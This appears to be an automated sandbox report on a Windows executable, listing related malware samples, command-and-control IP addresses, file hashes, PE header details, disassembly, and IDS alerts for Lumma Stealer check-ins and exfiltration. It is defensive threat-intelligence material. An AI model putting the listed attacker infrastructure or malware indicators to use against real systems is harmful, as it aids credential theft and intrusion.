	iy2.dat.exe	Get hash	malicious	XWorm	Browse	176.113.115.170
	z0r0.sh4.elf	Get hash	malicious	Mirai	Browse	82.148.27.5
	K27Yg4V48M.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	IH5XqCdf06.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	J18zxRjOes.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	176.113.115_1.170.ps1	Get hash	malicious	XWorm	Browse	176.113.115.170
	botx.sh4.elf	Get hash	malicious	Mirai	Browse	178.132.202.249
	TUp6f2knn2.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	sqJIHyPqhr.exe	Get hash	malicious	LummaC	Browse	176.113.115.19

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	GR7ShhQTKE.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	ab89jay39E.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	wRhEMj1swo.exe	Get hash	malicious	Unknown	Browse	104.21.80.1
	[UPD]Intel_Unit.2.1.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	socolo.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	Installer.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	104.21.80.1
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	setup.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	'Set-up.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	SET_UP.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
37f463bf4616ecd445d4a1937da06e19	leBwnyHIgx.exe	Get hash	malicious	GhostRat	Browse	104.21.56.70
	c2.hta	Get hash	malicious	Remcos	Browse	104.21.56.70
	c2.hta	Get hash	malicious	Remcos	Browse	104.21.56.70
	setup.msi	Get hash	malicious	Unknown	Browse	104.21.56.70
	1.exe	Get hash	malicious	LummaC, XRed	Browse	104.21.56.70
	9876567899.bat.exe	Get hash	malicious	Lokibot	Browse	104.21.56.70
	23567791246-764698008.02.exe	Get hash	malicious	Unknown	Browse	104.21.56.70
	c2.hta	Get hash	malicious	Remcos	Browse	104.21.56.70
	H565rymIuO.doc	Get hash	malicious	Unknown	Browse	104.21.56.70

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_5796.tmp.exe_4e3171f535a6494dc43afb4c71e86e2674cfa_0d9697c0_0b667e2a-4adc-448f-ba6c-164f50554589\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0619654789317885
Encrypted:	false
SSDEEP:	192:5B4ThXZHeoE0BU/wjdHxxkzuiFc5Z24IO8Ba:50peo/BU/wjtkzuiFc5Y4IO8Ba
MD5:	10B738A3B7720BA1212D41D618D18F52
SHA1:	60367E7CDBC45EE0EDB5C58386350EA1825F1EA4
SHA-256:	5152D313125665B890D81A12643B0F61973CDC1EA45385C47FAB5D2B89AFF23F
SHA-512:	43F2BEE5339568B40D05C66F5A12BF465F918FD4C7A4D596D9E176F80218DE5E27B1A2B1E39302EFFA0FFA98B29751278FD73037D0A81CCE8104F36937579214
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.8.0.7.9.9.4.6.2.3.8.8.7.1.4.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.8.0.7.9.9.4.6.3.7.3.2.4.5.9.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.b.6.6.7.e.2.a.-.4.a.d.c.-.4.4.8.f.-.b.a.6.c.-.1.6.4.f.5.0.5.5.4.5.8.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.5.0.3.2.d.3.5.-.2.8.f.c.-.4.a.4.d.-.9.e.f.8.-.e.b.b.c.0.a.e.6.8.c.a.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.5.7.9.6...t.m.p...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.7.9.4.-.0.0.0.1.-.0.0.1.4.-.1.d.b.4.-.5.2.4.3.a.9.6.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.5.b.6.7.d.3.e.f.c.4.7.f.8.a.2.4.4.c.8.4.2.2.0.c.2.9.5.1.c.d.8.0.0.0.0.0.0.0.0.!.0.0.0.0.f.0.f.c.0.f.a.5.6.6.1.4.a.8.8.f.3.a.3.3.f.9.3.f.4.a.3.6.c.5.6.9.6.b.1.3.2.8.2.0.!.5.7.9.6...t.m.p...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.5./.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFAC6.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Jan 8 08:44:23 2025, 0x1205a4 type
Category:	dropped
Size (bytes):	451780
Entropy (8bit):	1.4616470362965464
Encrypted:	false
SSDEEP:	1536:Sre6T/DMhpNlZfdUNeMKtC4SKQ2l8WsTJiUg:76Lm1dUNeMK80QssTJi
MD5:	834FE97F1B51EFD5A58D2FB0F72B3D86
SHA1:	BE68A7714C87025D4964817310E2179C582D1CD7
SHA-256:	FCB1DD97BAB1063FA8FEE7D83B5801614EF84593128CB0A53E94816AD5A8390C
SHA-512:	B9DE90F467921E58DA1ADB1550FD456E220369594016039E4CDA2C18903321B7E32163BEE1149DD58FA85B10B56CFA78E692B2A5FE9122A91090D54FB673E05A
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ........:~g.........................................#..........6N..........`.......8...........T...........pE..T............$..........l&..............................................................................eJ.......'......GenuineIntel............T...........z:~gZ............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFF0D.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8432
Entropy (8bit):	3.701071222493779
Encrypted:	false
SSDEEP:	192:R6l7wVeJ45g6Iw6YiS6Hgmf+FprG89bXDsfZTO9m:R6lXJcg6Iw6YH6Hgmf+3XofH
MD5:	7612EA0274C53D6716EA8BE72719DA94
SHA1:	568285300D3D6318E93992EE55A8889EEFD6C75B
SHA-256:	3A2C8947835977EA7CC4A4C2FDD1932FC46C4EDF9EFC092506B36FCF06D2D19D
SHA-512:	BBCAE1855DB4BCAA9439785AA5892D05B24B3FA43645FB319B04790C8A4ED9F772DAC61DB55B779FC2605F1F937B1F4DF554A89DA4C367B4943517CD87C5E39B
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.0.3.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFF3D.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4723
Entropy (8bit):	4.476024561136189
Encrypted:	false
SSDEEP:	48:cvIwWl8zsUJg77aI9WZWpW8VYpYm8M4JRA5FMA+q8vUATBGMtEd:uIjfSI7so7VpJRiKU+DtEd
MD5:	DC0CB66BCBC61D3810379B7C011F146E
SHA1:	A4E8B889AB53222BEC92DC38CACE82D9C4E41463
SHA-256:	87AEF42DAA32696916E706D4FDB36D8870F24ACE3CA26B4EADEBC1418E2ABEB7
SHA-512:	BC98E69AEB358286B40EF28A5926074A8500A22B7302883823EC609CE7CC1947A8BB4E24DD998F361ECC00337AEFB97287255007B446DCF158B263B5DCA0890A
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="666707" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\ScreenUpdateSync[1].exe

Download File

Process:	C:\Users\user\Desktop\xHj1N8ylIf.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4976128
Entropy (8bit):	5.83359645609294
Encrypted:	false
SSDEEP:	98304:TSJQ8bJVjvC2fnBurAKHDUZw+G3vTftvroIJv+rzP0RL+89MSFX5fcq8XwZ5zi:F2fnBurAKjUZGtvxp+rTBS55cq8Ae
MD5:	39ED277DE9297BF19DA7B0FA7EC41370
SHA1:	F0FC0FA56614A88F3A33F93F4A36C5696B132820
SHA-256:	6717D6B9AB52C8FE701EEA7DB42FE9829F26D7F66207C6E559500523312F1C65
SHA-512:	327C17C4F2A0D06D79530F24767BD331F7CF887A3835665747297A7828278EA0D6190CA5B37536AC7317DB825CF061E74E927EB2B06EBC60056D22DA64DCE1ED
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 22%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........S...=...=...=..w>...=..w8.n.=..w9...=..p>...=..p9...=..p8...=..w<...=...<...=.{p9...=.{p?...=.Rich..=.........................PE..L.....}g.................F..........."...........@...........................o..... .L...@...................................k.x.....m.._....................k..b..P.k.8...........................h.k.@.............k..............................textbss."..............................text.....F..."...F................. ..`.rdata...j....h..l....F.............@..@.data....?...Pk......H.............@....idata........k.......H.............@..@.msvcjmc......k.......H.............@....00cfg........k.......H.............@..@.fptable......k.......H.............@....reloc........k.......H.............@..B.rsrc...._....m..`....J.............@..@................................................................................................

C:\Users\user\AppData\Local\Temp\5796.tmp.exe

Download File

Process:	C:\Users\user\Desktop\xHj1N8ylIf.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4976128
Entropy (8bit):	5.83359645609294
Encrypted:	false
SSDEEP:	98304:TSJQ8bJVjvC2fnBurAKHDUZw+G3vTftvroIJv+rzP0RL+89MSFX5fcq8XwZ5zi:F2fnBurAKjUZGtvxp+rTBS55cq8Ae
MD5:	39ED277DE9297BF19DA7B0FA7EC41370
SHA1:	F0FC0FA56614A88F3A33F93F4A36C5696B132820
SHA-256:	6717D6B9AB52C8FE701EEA7DB42FE9829F26D7F66207C6E559500523312F1C65
SHA-512:	327C17C4F2A0D06D79530F24767BD331F7CF887A3835665747297A7828278EA0D6190CA5B37536AC7317DB825CF061E74E927EB2B06EBC60056D22DA64DCE1ED
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 22%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........S...=...=...=..w>...=..w8.n.=..w9...=..p>...=..p9...=..p8...=..w<...=...<...=.{p9...=.{p?...=.Rich..=.........................PE..L.....}g.................F..........."...........@...........................o..... .L...@...................................k.x.....m.._....................k..b..P.k.8...........................h.k.@.............k..............................textbss."..............................text.....F..."...F................. ..`.rdata...j....h..l....F.............@..@.data....?...Pk......H.............@....idata........k.......H.............@..@.msvcjmc......k.......H.............@....00cfg........k.......H.............@..@.fptable......k.......H.............@....reloc........k.......H.............@..B.rsrc...._....m..`....J.............@..@................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.372251756368631
Encrypted:	false
SSDEEP:	6144:wFVfpi6ceLP/9skLmb0UyWWSPtaJG8nAge35OlMMhA2AX4WABlguNAiL:oV1iyWWI/glMM6kF7yq
MD5:	0E123C273EC7C9ADF449613C671A0C5A
SHA1:	D70490DFB1E51480A3C1416A7A6A710374C81A54
SHA-256:	5896EFD96A7B3A6A28F2B0BE403B51DF3887DA4B9C73DF47E2BC57BD27139D32
SHA-512:	2348BDA3D5DE6C34BFFE54F8F0FF690285219F837F08764AE2F80DB8845BA6E821F1CFABD86E4EEB6BDAE4B566E6A61E75AE5A25AE3623F764AA5E079618B903
Malicious:	false
Reputation:	low
Preview:	regfC...C....\.Z.................... ....0......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmR..a..............................................................................................................................................................................................................................................................................................................................................]..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.421055393397561
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	xHj1N8ylIf.exe
File size:	380'928 bytes
MD5:	c7e643b43245f27403ed493443865155
SHA1:	e7bc0a6190be5a6773b3d85b65d6274f4d72a9ac
SHA256:	166558652d5cd1a2e8edabb64150bb1750fe610688db94e0c7542e43e9b7c2ad
SHA512:	d0c6dfe6f4633f6ebdc36f048d9d2cfe5798d4242402dcca1e8c18e050090b76e61fe215e26540aab69a8e4e1bbcf14993c908b46e12ef5ef4f10a94f76bfaef
SSDEEP:	6144:+L4xssUGnO1CE1nECL7b1cq4DxFyMUfxndFSwiz/xnjvZ0:+Ex4ECL7b+D4dFiN0
TLSH:	1384F1117950C831C8A694348C34D6FA7A3EFC326999994737A83F6F3D3239266B6346
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........w.....S...S...S[Y.S...S.D.S...S.D.S...S.D.S...S...S...S...S...S.D.S...S.D.S...S.D.S...SRich...S................PE..L....I.e...

File Icon


Icon Hash:	46c7c30b0f4e0d19

Static PE Info

General

Entrypoint:	0x404251
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x65044902 [Fri Sep 15 12:07:30 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	3b10e24f8c96c961a509c2761fac0068

Entrypoint Preview

Instruction
call 00007F42B8BA07D9h
jmp 00007F42B8B9D86Eh
int3
int3
int3
int3
int3
call 00007F42B8B9DA2Ch
xchg cl, ch
jmp 00007F42B8B9DA14h
call 00007F42B8B9DA23h
fxch st(0), st(1)
jmp 00007F42B8B9DA0Bh
fabs
fld1
mov ch, cl
xor cl, cl
jmp 00007F42B8B9DA01h
mov byte ptr [ebp-00000090h], FFFFFFFEh
fabs
fxch st(0), st(1)
fabs
fxch st(0), st(1)
fpatan
or cl, cl
je 00007F42B8B9D9F6h
fldpi
fsubrp st(1), st(0)
or ch, ch
je 00007F42B8B9D9F4h
fchs
ret
fabs
fld st(0), st(0)
fld st(0), st(0)
fld1
fsubrp st(1), st(0)
fxch st(0), st(1)
fld1
faddp st(1), st(0)
fmulp st(1), st(0)
ftst
wait
fstsw word ptr [ebp-000000A0h]
wait
test byte ptr [ebp-0000009Fh], 00000001h
jne 00007F42B8B9D9F7h
xor ch, ch
fsqrt
ret
pop eax
jmp 00007F42B8BA099Fh
fstp st(0)
fld tbyte ptr [0044D57Ah]
ret
fstp st(0)
or cl, cl
je 00007F42B8B9D9FDh
fstp st(0)
fldpi
or ch, ch
je 00007F42B8B9D9F4h
fchs
ret
fstp st(0)
fldz
or ch, ch
je 00007F42B8B9D9E9h
fchs
ret
fstp st(0)
jmp 00007F42B8BA0975h
fstp st(0)
mov cl, ch
jmp 00007F42B8B9D9F2h
call 00007F42B8B9D9BEh
jmp 00007F42B8BA0980h
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
add esp, FFFFFD30h

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4c41c	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x57000	0xac70	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2d58	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x188	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x4bcfa	0x4be00	f3a613af570b4fb39b689e33ebbb64e6	False	0.902993719110379	data	7.871790265425248	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x4d000	0x9ec8	0x6000	4e407aae8acf30de2e984eec0b497f58	False	0.08040364583333333	Matlab v4 mat-file (little endian) n2, sparse, rows 0, columns 0	0.942709429165339	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x57000	0xcc70	0xae00	5e14498760a7b5b1408f4dc64ccd431a	False	0.5489852729885057	data	5.5831616293237865	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x5d400	0x330	Device independent bitmap graphic, 48 x 96 x 1, image size 0			0.1948529411764706
RT_CURSOR	0x5d730	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.33223684210526316
RT_CURSOR	0x5d888	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.2953091684434968
RT_CURSOR	0x5e730	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.46705776173285196
RT_CURSOR	0x5efd8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5361271676300579
RT_CURSOR	0x5f570	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.26439232409381663
RT_CURSOR	0x60418	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.3686823104693141
RT_CURSOR	0x60cc0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.49060693641618497
RT_ICON	0x57510	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Romanian	Romania	0.8230277185501066
RT_ICON	0x583b8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Romanian	Romania	0.8533393501805054
RT_ICON	0x58c60	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Romanian	Romania	0.8116359447004609
RT_ICON	0x59328	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Romanian	Romania	0.8410404624277457
RT_ICON	0x59890	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Romanian	Romania	0.8053941908713693
RT_ICON	0x5be38	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Romanian	Romania	0.8316135084427767
RT_ICON	0x5cee0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Romanian	Romania	0.8625886524822695
RT_STRING	0x61470	0x4c4	data	Romanian	Romania	0.4532786885245902
RT_STRING	0x61938	0x338	data	Romanian	Romania	0.4696601941747573
RT_ACCELERATOR	0x5d3b0	0x50	data	Romanian	Romania	0.8125
RT_GROUP_CURSOR	0x5d860	0x22	data			1.0294117647058822
RT_GROUP_CURSOR	0x5f540	0x30	data			0.9375
RT_GROUP_CURSOR	0x61228	0x30	data			0.9375
RT_GROUP_ICON	0x5d348	0x68	data	Romanian	Romania	0.6826923076923077
RT_VERSION	0x61258	0x218	data			0.5223880597014925

Imports

DLL	Import
KERNEL32.dll	SetLocaleInfoA, EnumCalendarInfoA, WriteConsoleInputW, InterlockedIncrement, InterlockedDecrement, GetCurrentProcess, SetComputerNameW, FindNextVolumeMountPointA, EnumTimeFormatsW, SetCommConfig, GetVersionExW, FindNextVolumeW, GetAtomNameW, InterlockedExchange, GetLastError, SetLastError, GetProcAddress, VirtualAlloc, EnumSystemCodePagesW, LoadLibraryA, FindNextFileA, GetModuleHandleA, FreeEnvironmentStringsW, EnumDateFormatsW, OpenEventW, GetShortPathNameW, ReadConsoleInputW, TerminateJobObject, GetWindowsDirectoryW, GetCurrentProcessId, OpenFileMappingA, EnumCalendarInfoExA, SwitchToThread, CreateFileA, CloseHandle, GetStartupInfoW, TerminateProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EnterCriticalSection, LeaveCriticalSection, SetHandleCount, GetStdHandle, GetFileType, GetStartupInfoA, DeleteCriticalSection, GetModuleHandleW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, GetCurrentThreadId, Sleep, HeapSize, ExitProcess, HeapFree, SetFilePointer, WriteFile, GetModuleFileNameA, GetModuleFileNameW, GetEnvironmentStringsW, GetCommandLineW, HeapCreate, VirtualFree, QueryPerformanceCounter, GetTickCount, GetSystemTimeAsFileTime, WideCharToMultiByte, GetConsoleCP, GetConsoleMode, InitializeCriticalSectionAndSpinCount, RtlUnwind, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, HeapAlloc, HeapReAlloc, RaiseException, SetStdHandle, FlushFileBuffers, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, MultiByteToWideChar, GetLocaleInfoA, GetStringTypeA, GetStringTypeW, LCMapStringA, LCMapStringW
USER32.dll	OemToCharA, DdeQueryStringA, GetWindowTextLengthA
SHELL32.dll	DragFinish

Possible Origin

Language of compilation system	Country where language is spoken	Map
Romanian	Romania

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-08T09:42:29.712198+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49707	104.21.56.70	443	TCP
2025-01-08T09:42:30.549947+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49708	176.113.115.19	80	TCP
2025-01-08T09:44:17.428722+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49979	104.21.80.1	443	TCP
2025-01-08T09:44:17.895990+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49979	104.21.80.1	443	TCP
2025-01-08T09:44:17.895990+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49979	104.21.80.1	443	TCP
2025-01-08T09:44:18.381646+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49980	104.21.80.1	443	TCP
2025-01-08T09:44:18.854020+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49980	104.21.80.1	443	TCP
2025-01-08T09:44:18.854020+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49980	104.21.80.1	443	TCP
2025-01-08T09:44:19.640152+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49981	104.21.80.1	443	TCP
2025-01-08T09:44:20.197149+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49981	104.21.80.1	443	TCP
2025-01-08T09:44:20.849401+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49982	104.21.80.1	443	TCP
2025-01-08T09:44:22.037283+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49983	104.21.80.1	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 09:42:28.676980972 CET	49707	443	192.168.2.8	104.21.56.70
Jan 8, 2025 09:42:28.677038908 CET	443	49707	104.21.56.70	192.168.2.8
Jan 8, 2025 09:42:28.677119017 CET	49707	443	192.168.2.8	104.21.56.70
Jan 8, 2025 09:42:28.688364029 CET	49707	443	192.168.2.8	104.21.56.70
Jan 8, 2025 09:42:28.688381910 CET	443	49707	104.21.56.70	192.168.2.8
Jan 8, 2025 09:42:29.172411919 CET	443	49707	104.21.56.70	192.168.2.8
Jan 8, 2025 09:42:29.172631979 CET	49707	443	192.168.2.8	104.21.56.70
Jan 8, 2025 09:42:29.412436962 CET	49707	443	192.168.2.8	104.21.56.70
Jan 8, 2025 09:42:29.412465096 CET	443	49707	104.21.56.70	192.168.2.8
Jan 8, 2025 09:42:29.412839890 CET	443	49707	104.21.56.70	192.168.2.8
Jan 8, 2025 09:42:29.412918091 CET	49707	443	192.168.2.8	104.21.56.70
Jan 8, 2025 09:42:29.416841030 CET	49707	443	192.168.2.8	104.21.56.70
Jan 8, 2025 09:42:29.459342957 CET	443	49707	104.21.56.70	192.168.2.8
Jan 8, 2025 09:42:29.712209940 CET	443	49707	104.21.56.70	192.168.2.8
Jan 8, 2025 09:42:29.712270021 CET	49707	443	192.168.2.8	104.21.56.70
Jan 8, 2025 09:42:29.712291956 CET	443	49707	104.21.56.70	192.168.2.8
Jan 8, 2025 09:42:29.712305069 CET	443	49707	104.21.56.70	192.168.2.8
Jan 8, 2025 09:42:29.712331057 CET	49707	443	192.168.2.8	104.21.56.70
Jan 8, 2025 09:42:29.712354898 CET	49707	443	192.168.2.8	104.21.56.70
Jan 8, 2025 09:42:29.714045048 CET	49707	443	192.168.2.8	104.21.56.70
Jan 8, 2025 09:42:29.714062929 CET	443	49707	104.21.56.70	192.168.2.8
